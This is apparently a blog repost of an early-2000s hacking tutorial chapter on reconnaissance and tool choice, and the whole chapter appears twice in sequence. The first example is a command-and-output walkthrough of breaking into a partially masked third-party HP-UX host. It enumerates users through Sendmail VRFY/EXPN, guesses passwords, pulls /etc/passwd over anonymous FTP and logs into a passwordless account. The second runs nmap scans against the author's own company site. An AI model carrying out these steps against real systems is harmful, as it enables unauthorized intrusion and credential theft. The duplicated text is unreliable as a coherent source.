At this stage we know where the target is located, and we have a good idea of the target's status (alive or dead). From DNS information we can get an idea of the importance of the target. The next step would be to find information that would help us choosing the correct weapons. It's no use bringing a knife to a gunfight - on the other hand it just stupid to nuke a whole city in order to execute one person. We want to be in a position to know exactly which weapons to load. The chapter examines this situation by looking at two examples - both from a hacker's viewpoint. General scanners vs. custom tools
Why? Why not use a vulnerability scanner that checks for 1000 vulnerabilities on a host, and just see what it comes up with? Well - it's tasteless, it consumes bandwidth, CPU power, lots of time, and most important, it will light up any IDS (or semi-alive sysadmin) like a Christmas tree. Furthermore, the general vulnerability scanners are not always that effective and up to date (there are exceptions of course). Custom-made scanners is tailored for the occasion, they are streamlined, and they are not as noisy as general scanners. Imagine taking an "all-terrain 4x4" to the surface of Mars...
How to decide to load the weapons? Most scanners look for vulnerabilities in services. A service is normally bound to a specific port. Thus, finding what ports are open on a host will tell us what services it runs, which in turn will tell us how to configure our scanners. Many scanners have a portscanning utility built-in, and claim to scan only "discovered" services. Most of the time this works well - but you will find that it have limitations. There is no substitute for plain common sense.
The hacker's view on it (quick kill example)
(Let us see - if I can obtain root/administrator access on a host, why would I bother to see the Ethernet card's stats, or be able to write a message to all the users? No - if I know that there is a possibility to obtain super user status I will go for it right away. My point is this - I would only port scan a host on ports that is servicing services that can easily lead to a compromise. And mind you - skip the vulnerability scanners. Grab the banners and versions and see if the host is running vulnerable versions of the service. If it is - go directly for the kill.
OK, let us take it step by step, with examples etc. Let us assume the host that I am interested in is 196.3x.2x.7x. From the previous section I know exactly where it is located and that it is active. For various reasons I want to get a shell on this host. First of all I am interested in what O/S it is running. Maybe not the exact version - I just want to know if the host is running Unix or Windows. And remember, I don't want to set off all the bells and whistles along the way. Which are the most common ports that are open on hosts in the Internet? I would say port 25 (SMTP) and port 80 (HTTP). I have a good chance of knowing the O/S by telnetting to either of these ports, and as such I telnet to port 25:
# telnet 196.3x.2x.7x 25
Trying 196.3x.2x.7x...
Connected to 196.3x.2x.7x.
Escape character is '^]'.
220 xxx.xx.co.za ESMTP Sendmail 8.7.1/8.7.1; Mon, 14 Aug 2000 00:20:28 +0100 (BST)
I reply with the QUIT command to terminate the connection. As we can all see, the host replied with a Sendmail banner (a rather old Sendmail as well). Common sense tells us that this host is a UNIX system.
Keeping in mind that I am only trying to get a shell on the host, I proceed to the next logical step - telnetting to port 23 (telnet). Maybe the port is wrapped. Maybe it is firewalled. Maybe I should just find out:
# telnet 196.3x.2x.7x
Trying 196.3x.2x.7x...
Connected to xxx.xx.co.za.
Escape character is '^]'.
HP-UX u46b00 B.10.20 A 9000/831 (ttyp1)
login:
It not wrapped or firewalled. The host does not look at though it is firewalled at all (it could be...we don't know, and we don't care - we will find out soon enough). We go directly to the next step - see if the finger port is open:
# finger @196.3x.2x.7x
[196.3x.2x.7x]
finger: read: Connection refused
Hmm...the host's finger service is not filtered, but then again - it's not running finger. How do we get a username and a password? On UNIX systems where are several ways to find out if a user exists - we would have to guess a password. If the Sendmail were not configured to do so it would allow us to issue a VRFY and EXPN command. These commands will verify if a user exists and expand the username if it is pointing to other email address respectively. Let us use some common usernames and see if they exist:
# telnet 196.3x.2x.7x 25
Trying 196.3x.2x.7x...
Connected to xxx.xx.co.za.
Escape character is '^]'.
220 xxx.xx.co.za ESMTP Sendmail 8.7.1/8.7.1; Mon, 14 Aug 2000 00:34:01 +0100 (BST)
vrfy test
250 user <test@xxx.xx.co.za>
vrfy user
550 user... User unknown
vrfy u46b00
550 u46b00... User unknown
vrfy root
250 <root@xxx.xx.co.za>
expn root
250 <root@xxx.xx.co.za>
vrfy guest
550 guest... User unknown
vrfy mail
550 mail... User unknown
expn webmaster
550 webmaster... User unknown
expn postmaster
250 <root@xxx.xx.co.za>
Let us see what happened here. First of all we see that EXPN and VRFY commands are allowed. The username "test" exists. The username "user" and "u46b00" does not exist. The username "root" exists. The username "root" does not have any aliases, but the username "postmaster" is feeding the "root" account.
So - the username "test" exists. The username test is very common is systems that are not kept in a good condition. No points for guessing what password we are going to use with user "test":
# telnet 196.3x.2x.7x
Trying 196.3x.2x.7x...
Connected to xxx.xx.co.za.
Escape character is '^]'.
HP-UX u46b00 B.10.20 A 9000/831 (ttyp1)
login: test
Password:
Login incorrect
login: test
Password:
Login incorrect
login: test
Password:
Login incorrect
Connection closed by foreign host.
Hmm...interesting. The username "test" does not have password "test", "test1" or "test01". Now - we might try another few passwords, but this is really not the idea. How about just getting a list of usernames on the system? Maybe that would give us a better idea of username that have weak passwords? Let us see:
# ftp 196.3x.2x.7x
Connected to 196.3x.2x.7x.
220 u46b00 FTP server (Version 1.7.212.2 Tue Apr 21 12:14:46 GMT 1998) ready.
Name (196.3x.2x.7x:roelof): anonymous
331 Guest login ok, send indent as password.
Password:
230 Guest login ok, access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> CD /etc
250 CWD command successful.
ftp> get passed
local: passwd remote: passwd
227 Entering Passive Mode (196,3x,2x,7x,8,186)
150 Opening BINARY mode data connection for passed (7695 bytes).
100% |*************************************************| 7695 00:00 ETA
226 Transfer complete.
7695 bytes received in 2.06 seconds (3.64 KB/s)
ftp> exit
221 Goodbye.
~/perl/telnet/brute more passwd
root:*:0:3::/var/sam:/usr/bin/false
root:*:0:3::/var/sam:/usr/bin/false
daemon:*:1:5::/var/sam:/usr/bin/false
bin:*:2:2::/var/sam:/usr/bin/false
sys:*:3:3::/var/sam:/usr/bin/false
adm:*:4:4::/var/sam:/usr/bin/false
uucp:*:5:3::/var/sam:/usr/bin/false
lp:*:9:7::/var/sam:/usr/bin/false
nuucp:*:11:11::/var/sam:/usr/bin/false
hpdb:*:27:1::/var/sam:/usr/bin/false
----cut----
The problems with these unkept "old" UNIX hosts are that they keep the "shadow" password file in the /etc directory of the anonymous FTP user. While the file does not contain any passwords, it gives us a very good idea of which users may have weak passwords. We inspect the shadow password file and focus on the following entries:
pro:*:100:100::/var/sam:/usr/bin/false
mis2000:*:208:1000::/var/sam:/usr/bin/false
lab:*:369:2000::/var/sam:/usr/bin/false
oracle:*:101:100::/var/sam:/usr/bin/false
doggy:*:541:2000::/var/sam:/usr/bin/false
f399:*:611:2000::/var/sam:/usr/bin/false
These users have suspect names - they don't fit the description of "normal" usernames - these are typically usersnames that are used by more than one person and these normally have weak passwords. Starting from the top, we hit the jackpot with the second user "mis2000":
# telnet 196.3x.2x.7x
Trying 196.3x.2x.7x...
Connected to xxx.xx.co.za.
Escape character is '^]'.
HP-UX u46b00 B.10.20 A 9000/831 (ttyp1)
login: mis2000
Please wait...checking for disk quotas
What is your terminal type?
No password...at all. Now, I hear all the script kiddies going - yeah, we are hackers, we also could have done that - and the more seasoned hackers saying - sheet this is not hacking - it is clubbing baby seals. And it is. But this is not the point - the point is the method used. It shows that the hacker goes directly for the kill - in a situation like the one described above it make not sense portscanning the host first - everything you need is right there. Hacker's view (no kill at all)
Let us then look at another example: www.sensepost.com. Our website (it is hosted offsite BTW). And let us go through the same steps, assuming we know nothing about the host.
We telnet to port 25 to find it filtered. The port is not wrapped - wrappers are very characteristic of UNIX hosts. [ Telling if a services is can be determined as follows:
# telnet cube.co.za
Trying 196.38.115.250...
Connected to cube.co.za.
Escape character is '^]'.
Connection closed by foreign host.
We see that we can establish a complete connection, but that the connection is closed immediately. Thus, the service is wrapped (TCP wrappers made famous by Venema Wietse). Wrappers allows the sysadmin to decide what source IP address(es) are allowed to connect to the service. It is interesting to note that wrapper might be set up to work with the source IP, or with the DNS name of the source. In some situations one can determine if the server uses IP numbers or DNS names - if the connection is not closed immediately (say it takes 2-10 seconds) it is probably using DNS names. Another way to determine if the wrapper is using DNS names or IP numbers is to connect to it with a IP number that does not have a reverse resolvable name. The server will attempt to reverse resolve your IP address - this might take a while - it is this delay that you will be able to see when connecting to the host. (The interesting part of this is that if the wrapper uses DNS one can get past it if one has complete control over both the mechanisms that controls both the forward and reverse DNS entries)]
Getting back to our website. Port 25 is filtered. How about port 80? (I hope not - else our website is down!) Connecting to port 80 reveals that we are dealing with a UNIX platform:
# telnet www.sensepost.com 80
Trying 216.0.48.55...
Connected to www.sensepost.com.
Escape character is '^]'.
GET / HTTP/1.0<cr>
<cr>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
<TITLE>501 Method Not Implemented</TITLE>
</HEAD><BODY>
<H1>Method Not Implemented</H1>
get to /main.html not supported.<P>
Invalid method in request get /<P>
<HR>
<ADDRESS>Apache/1.3.6 Server at www.sdn.co.za Port 80</ADDRESS>
</BODY></HTML>
Connection closed by foreign host.
Issuing the "GET / HTTP/1.0” command we see a response that includes the text "Apache/1.3.6", a famous UNIX webserver (I understand that Apache is now also available for Windows). We know that port 25 is firewalled. This means that the host is probably properly firewalled. Just to make sure we telnet to port 23 (telnet) and our suspicion is confirmed - the port is filtered.
Now what? The idea is now to start a portscan on the host. As mentioned before we don't want to do a complete scan on the server - we are just interested in ports that is servicing services that we know are exploitable or that might turn up interesting information in a vulnerability scanner. Knowing the O/S could also helps a lot. Thus, a command as follows is issued: # nmap -O -sS -P0 216.0.48.55 -p 21,22,53,69,98,110,443,1080,2049,3128,8080,1433,6667
We don't want to look at ports 23 and 80 as we know their status. All the other ports might service exploitable services. We want to see if there are any proxies running on the host (1080,3128 and 8080). Port 98 is Linux config port, 69 is TFTP and 1433 is MSQL (maybe it is a MS box after all). The output looks like this:
Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ )
Interesting ports on www.sdn.co.za (216.0.48.55):
(The 2 ports scanned but not shown below are in state: closed)
Port State Service
21/tcp open ftp
22/tcp filtered ssh
69/tcp filtered tftp
80/tcp open http
98/tcp filtered linuxconf
110/tcp filtered pop-3
1080/tcp filtered socks
1433/tcp filtered ms-sql-s
2049/tcp filtered nfsd
3128/tcp filtered squid-http
6667/tcp filtered irc
8080/tcp filtered http-proxy
TCP Sequence Prediction: Class=random positive increments
Difficulty=49224 (Worthy challenge)
Remote OS guesses: Solaris 2.6 - 2.7, Solaris 7
Checking the version of the services on the only two open ports (21 and 80) we find that this is more of a challenge. Trying common usernames and passwords at the FTP service also does not prove to work (including anonymous - as in the previous case).
Maybe we need to do a complete scan on the host - maybe there is an unprotected root shell waiting on a high port? How about UDP? Maybe putting on our security assessment hat would prove necessary? Maybe we need to look more in depth? Now, I am not saying that a hacker will not do this - I am only going into "assessment" mode, as this is where an assessment will start anyway.
A complete scan of the host is the place to start. We proceed to do this:
nmap -sS -O -P0 www.sensepost.com
The results looks as follows:
Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ )
Interesting ports on www.sdn.co.za (216.0.48.55):
(The 1518 ports scanned but not shown below are in state: filtered)
Port State Service
21/tcp open ftp
53/tcp closed domain
80/tcp open http
443/tcp closed https
4321/tcp open rwhois
TCP Sequence Prediction: Class=random positive increments
Difficulty=15377 (Worthy challenge)
Remote operating system guess: Solaris 7
The only other open port is 4321. From the service file it seems that port 4321 is used for rwhois (remote WHOIS queries). But never trust the service file - 4321 sounds a bit suspect, it could be a backdoor put there by a previous administrator. We check it out manually:
# telnet www.sensepost.com 4321
Trying 216.0.48.55...
Connected to www.sensepost.com.
Escape character is '^]'.
%rwhois V-1.5:003fff:00 rwhois.sdn.co.za (by Network Solutions, Inc. V-1.5.5)
It checks out pretty OK. The host is running an FTP and HTTP daemon. Are they using safe versions of these? Is the HTTP server configured properly?
In the next section we look at using tools developed by other people and companies - these tools will help us to uncover any holes in the defense of a host.
Why? Why not use a vulnerability scanner that checks for 1000 vulnerabilities on a host, and just see what it comes up with? Well - it's tasteless, it consumes bandwidth, CPU power, lots of time, and most important, it will light up any IDS (or semi-alive sysadmin) like a Christmas tree. Furthermore, the general vulnerability scanners are not always that effective and up to date (there are exceptions of course). Custom-made scanners is tailored for the occasion, they are streamlined, and they are not as noisy as general scanners. Imagine taking an "all-terrain 4x4" to the surface of Mars...
How to decide to load the weapons? Most scanners look for vulnerabilities in services. A service is normally bound to a specific port. Thus, finding what ports are open on a host will tell us what services it runs, which in turn will tell us how to configure our scanners. Many scanners have a portscanning utility built-in, and claim to scan only "discovered" services. Most of the time this works well - but you will find that it have limitations. There is no substitute for plain common sense.
The hacker's view on it (quick kill example)
(Let us see - if I can obtain root/administrator access on a host, why would I bother to see the Ethernet card's stats, or be able to write a message to all the users? No - if I know that there is a possibility to obtain super user status I will go for it right away. My point is this - I would only port scan a host on ports that is servicing services that can easily lead to a compromise. And mind you - skip the vulnerability scanners. Grab the banners and versions and see if the host is running vulnerable versions of the service. If it is - go directly for the kill.
OK, let us take it step by step, with examples etc. Let us assume the host that I am interested in is 196.3x.2x.7x. From the previous section I know exactly where it is located and that it is active. For various reasons I want to get a shell on this host. First of all I am interested in what O/S it is running. Maybe not the exact version - I just want to know if the host is running Unix or Windows. And remember, I don't want to set off all the bells and whistles along the way. Which are the most common ports that are open on hosts in the Internet? I would say port 25 (SMTP) and port 80 (HTTP). I have a good chance of knowing the O/S by telnetting to either of these ports, and as such I telnet to port 25:
# telnet 196.3x.2x.7x 25
Trying 196.3x.2x.7x...
Connected to 196.3x.2x.7x.
Escape character is '^]'.
220 xxx.xx.co.za ESMTP Sendmail 8.7.1/8.7.1; Mon, 14 Aug 2000 00:20:28 +0100 (BST)
I reply with the QUIT command to terminate the connection. As we can all see, the host replied with a Sendmail banner (a rather old Sendmail as well). Common sense tells us that this host is a UNIX system.
Keeping in mind that I am only trying to get a shell on the host, I proceed to the next logical step - telnetting to port 23 (telnet). Maybe the port is wrapped. Maybe it is firewalled. Maybe I should just find out:
# telnet 196.3x.2x.7x
Trying 196.3x.2x.7x...
Connected to xxx.xx.co.za.
Escape character is '^]'.
HP-UX u46b00 B.10.20 A 9000/831 (ttyp1)
login:
It not wrapped or firewalled. The host does not look at though it is firewalled at all (it could be...we don't know, and we don't care - we will find out soon enough). We go directly to the next step - see if the finger port is open:
# finger @196.3x.2x.7x
[196.3x.2x.7x]
finger: read: Connection refused
Hmm...the host's finger service is not filtered, but then again - it's not running finger. How do we get a username and a password? On UNIX systems where are several ways to find out if a user exists - we would have to guess a password. If the Sendmail were not configured to do so it would allow us to issue a VRFY and EXPN command. These commands will verify if a user exists and expand the username if it is pointing to other email address respectively. Let us use some common usernames and see if they exist:
# telnet 196.3x.2x.7x 25
Trying 196.3x.2x.7x...
Connected to xxx.xx.co.za.
Escape character is '^]'.
220 xxx.xx.co.za ESMTP Sendmail 8.7.1/8.7.1; Mon, 14 Aug 2000 00:34:01 +0100 (BST)
vrfy test
250 user <test@xxx.xx.co.za>
vrfy user
550 user... User unknown
vrfy u46b00
550 u46b00... User unknown
vrfy root
250 <root@xxx.xx.co.za>
expn root
250 <root@xxx.xx.co.za>
vrfy guest
550 guest... User unknown
vrfy mail
550 mail... User unknown
expn webmaster
550 webmaster... User unknown
expn postmaster
250 <root@xxx.xx.co.za>
Let us see what happened here. First of all we see that EXPN and VRFY commands are allowed. The username "test" exists. The username "user" and "u46b00" does not exist. The username "root" exists. The username "root" does not have any aliases, but the username "postmaster" is feeding the "root" account.
So - the username "test" exists. The username test is very common is systems that are not kept in a good condition. No points for guessing what password we are going to use with user "test":
# telnet 196.3x.2x.7x
Trying 196.3x.2x.7x...
Connected to xxx.xx.co.za.
Escape character is '^]'.
HP-UX u46b00 B.10.20 A 9000/831 (ttyp1)
login: test
Password:
Login incorrect
login: test
Password:
Login incorrect
login: test
Password:
Login incorrect
Connection closed by foreign host.
Hmm...interesting. The username "test" does not have password "test", "test1" or "test01". Now - we might try another few passwords, but this is really not the idea. How about just getting a list of usernames on the system? Maybe that would give us a better idea of username that have weak passwords? Let us see:
# ftp 196.3x.2x.7x
Connected to 196.3x.2x.7x.
220 u46b00 FTP server (Version 1.7.212.2 Tue Apr 21 12:14:46 GMT 1998) ready.
Name (196.3x.2x.7x:roelof): anonymous
331 Guest login ok, send indent as password.
Password:
230 Guest login ok, access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> CD /etc
250 CWD command successful.
ftp> get passed
local: passwd remote: passwd
227 Entering Passive Mode (196,3x,2x,7x,8,186)
150 Opening BINARY mode data connection for passed (7695 bytes).
100% |*************************************************| 7695 00:00 ETA
226 Transfer complete.
7695 bytes received in 2.06 seconds (3.64 KB/s)
ftp> exit
221 Goodbye.
~/perl/telnet/brute more passwd
root:*:0:3::/var/sam:/usr/bin/false
root:*:0:3::/var/sam:/usr/bin/false
daemon:*:1:5::/var/sam:/usr/bin/false
bin:*:2:2::/var/sam:/usr/bin/false
sys:*:3:3::/var/sam:/usr/bin/false
adm:*:4:4::/var/sam:/usr/bin/false
uucp:*:5:3::/var/sam:/usr/bin/false
lp:*:9:7::/var/sam:/usr/bin/false
nuucp:*:11:11::/var/sam:/usr/bin/false
hpdb:*:27:1::/var/sam:/usr/bin/false
----cut----
The problems with these unkept "old" UNIX hosts are that they keep the "shadow" password file in the /etc directory of the anonymous FTP user. While the file does not contain any passwords, it gives us a very good idea of which users may have weak passwords. We inspect the shadow password file and focus on the following entries:
pro:*:100:100::/var/sam:/usr/bin/false
mis2000:*:208:1000::/var/sam:/usr/bin/false
lab:*:369:2000::/var/sam:/usr/bin/false
oracle:*:101:100::/var/sam:/usr/bin/false
doggy:*:541:2000::/var/sam:/usr/bin/false
f399:*:611:2000::/var/sam:/usr/bin/false
These users have suspect names - they don't fit the description of "normal" usernames - these are typically usersnames that are used by more than one person and these normally have weak passwords. Starting from the top, we hit the jackpot with the second user "mis2000":
# telnet 196.3x.2x.7x
Trying 196.3x.2x.7x...
Connected to xxx.xx.co.za.
Escape character is '^]'.
HP-UX u46b00 B.10.20 A 9000/831 (ttyp1)
login: mis2000
Please wait...checking for disk quotas
What is your terminal type?
No password...at all. Now, I hear all the script kiddies going - yeah, we are hackers, we also could have done that - and the more seasoned hackers saying - sheet this is not hacking - it is clubbing baby seals. And it is. But this is not the point - the point is the method used. It shows that the hacker goes directly for the kill - in a situation like the one described above it make not sense portscanning the host first - everything you need is right there. Hacker's view (no kill at all)
Let us then look at another example: www.sensepost.com. Our website (it is hosted offsite BTW). And let us go through the same steps, assuming we know nothing about the host.
We telnet to port 25 to find it filtered. The port is not wrapped - wrappers are very characteristic of UNIX hosts. [ Telling if a services is can be determined as follows:
# telnet cube.co.za
Trying 196.38.115.250...
Connected to cube.co.za.
Escape character is '^]'.
Connection closed by foreign host.
We see that we can establish a complete connection, but that the connection is closed immediately. Thus, the service is wrapped (TCP wrappers made famous by Venema Wietse). Wrappers allows the sysadmin to decide what source IP address(es) are allowed to connect to the service. It is interesting to note that wrapper might be set up to work with the source IP, or with the DNS name of the source. In some situations one can determine if the server uses IP numbers or DNS names - if the connection is not closed immediately (say it takes 2-10 seconds) it is probably using DNS names. Another way to determine if the wrapper is using DNS names or IP numbers is to connect to it with a IP number that does not have a reverse resolvable name. The server will attempt to reverse resolve your IP address - this might take a while - it is this delay that you will be able to see when connecting to the host. (The interesting part of this is that if the wrapper uses DNS one can get past it if one has complete control over both the mechanisms that controls both the forward and reverse DNS entries)]
Getting back to our website. Port 25 is filtered. How about port 80? (I hope not - else our website is down!) Connecting to port 80 reveals that we are dealing with a UNIX platform:
# telnet www.sensepost.com 80
Trying 216.0.48.55...
Connected to www.sensepost.com.
Escape character is '^]'.
GET / HTTP/1.0<cr>
<cr>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
<TITLE>501 Method Not Implemented</TITLE>
</HEAD><BODY>
<H1>Method Not Implemented</H1>
get to /main.html not supported.<P>
Invalid method in request get /<P>
<HR>
<ADDRESS>Apache/1.3.6 Server at www.sdn.co.za Port 80</ADDRESS>
</BODY></HTML>
Connection closed by foreign host.
Issuing the "GET / HTTP/1.0” command we see a response that includes the text "Apache/1.3.6", a famous UNIX webserver (I understand that Apache is now also available for Windows). We know that port 25 is firewalled. This means that the host is probably properly firewalled. Just to make sure we telnet to port 23 (telnet) and our suspicion is confirmed - the port is filtered.
Now what? The idea is now to start a portscan on the host. As mentioned before we don't want to do a complete scan on the server - we are just interested in ports that is servicing services that we know are exploitable or that might turn up interesting information in a vulnerability scanner. Knowing the O/S could also helps a lot. Thus, a command as follows is issued: # nmap -O -sS -P0 216.0.48.55 -p 21,22,53,69,98,110,443,1080,2049,3128,8080,1433,6667
We don't want to look at ports 23 and 80 as we know their status. All the other ports might service exploitable services. We want to see if there are any proxies running on the host (1080,3128 and 8080). Port 98 is Linux config port, 69 is TFTP and 1433 is MSQL (maybe it is a MS box after all). The output looks like this:
Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ )
Interesting ports on www.sdn.co.za (216.0.48.55):
(The 2 ports scanned but not shown below are in state: closed)
Port State Service
21/tcp open ftp
22/tcp filtered ssh
69/tcp filtered tftp
80/tcp open http
98/tcp filtered linuxconf
110/tcp filtered pop-3
1080/tcp filtered socks
1433/tcp filtered ms-sql-s
2049/tcp filtered nfsd
3128/tcp filtered squid-http
6667/tcp filtered irc
8080/tcp filtered http-proxy
TCP Sequence Prediction: Class=random positive increments
Difficulty=49224 (Worthy challenge)
Remote OS guesses: Solaris 2.6 - 2.7, Solaris 7
Checking the version of the services on the only two open ports (21 and 80) we find that this is more of a challenge. Trying common usernames and passwords at the FTP service also does not prove to work (including anonymous - as in the previous case).
Maybe we need to do a complete scan on the host - maybe there is an unprotected root shell waiting on a high port? How about UDP? Maybe putting on our security assessment hat would prove necessary? Maybe we need to look more in depth? Now, I am not saying that a hacker will not do this - I am only going into "assessment" mode, as this is where an assessment will start anyway.
A complete scan of the host is the place to start. We proceed to do this:
nmap -sS -O -P0 www.sensepost.com
The results looks as follows:
Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ )
Interesting ports on www.sdn.co.za (216.0.48.55):
(The 1518 ports scanned but not shown below are in state: filtered)
Port State Service
21/tcp open ftp
53/tcp closed domain
80/tcp open http
443/tcp closed https
4321/tcp open rwhois
TCP Sequence Prediction: Class=random positive increments
Difficulty=15377 (Worthy challenge)
Remote operating system guess: Solaris 7
The only other open port is 4321. From the service file it seems that port 4321 is used for rwhois (remote WHOIS queries). But never trust the service file - 4321 sounds a bit suspect, it could be a backdoor put there by a previous administrator. We check it out manually:
# telnet www.sensepost.com 4321
Trying 216.0.48.55...
Connected to www.sensepost.com.
Escape character is '^]'.
%rwhois V-1.5:003fff:00 rwhois.sdn.co.za (by Network Solutions, Inc. V-1.5.5)
It checks out pretty OK. The host is running an FTP and HTTP daemon. Are they using safe versions of these? Is the HTTP server configured properly?
In the next section we look at using tools developed by other people and companies - these tools will help us to uncover any holes in the defense of a host.
No comments:
Post a Comment